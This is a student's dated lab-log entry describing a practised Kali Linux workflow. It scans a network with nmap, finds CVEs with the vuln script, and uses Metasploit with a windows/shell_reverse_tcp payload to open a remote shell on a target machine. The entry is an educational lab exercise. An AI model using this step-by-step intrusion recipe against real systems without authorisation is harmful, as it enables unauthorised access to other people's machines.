29th November:

I practiced the previous commands from the beginning to be able to demonstrate them and understand them more, here is what I did:

On kali linux, a small tutorial to follow done by me and Ibrahim:

- 'Ifconfig' (showing the virtual machine's ip address 192.168.218.128)
- 'sudo nmap 192.168.218.0/24' (to discover all the machines on the network the machine's on)
- After identifying which machine is the target I use 'sudo ping [taget ip]' to check if the machine accepts pinging and is active.
- 'nmap -sV [target ip]' to gather more information about the target machine
- 'nmap -p 1-65535 –script vuln [target ip] -Pn' after gathering the information, I need to run the script vuln from nmap to see which vulnerabilities are present on the machine to exploit
- Take one of the vulnerability's id that starts with CVE-xxxx-xxxx, then
- 'sudo msfconsole' to run Metasploit to research the vulnerability
- On Metasploit 'search [CVE-xxxx-xxxx]' and the name of the exploit will appear at the top of the result, take it and
- 'use [exploit name that looks like a path]'
- 'show options' to see what the exploit needs and has to be executed. The only thing that is empty and needs to be filled is the RHOSTS which is the remote host (victim machine)
- 'set RHOSTS [target ip]'
- 'set LHOST [attacker ip]', even if it is given its best to not leave the default value like 127.0.0.0 as LHOST and rather have the real machine's ip
- After setting the exploit, I need a payload (the action to do with the exploit) so
- 'set payload [payload of choice], here I need to specify which one to choose by pressing "tab" to see all the payloads that could be used in my case it was "windows/shell_reverse_tcp" that takes control of the target's shell and use it.
- And after seconds I had access to the machine which I can take the machine's information and many more.

After practicing, me and Ibrahim made a video instead of a powerpoint to demonstrate our work. Unfortunately I faced some issues with kali after So I had to trouble shoot and not work on it more than thatl.

Git repo: https://github.com/Ibrahimelz/ASPS.git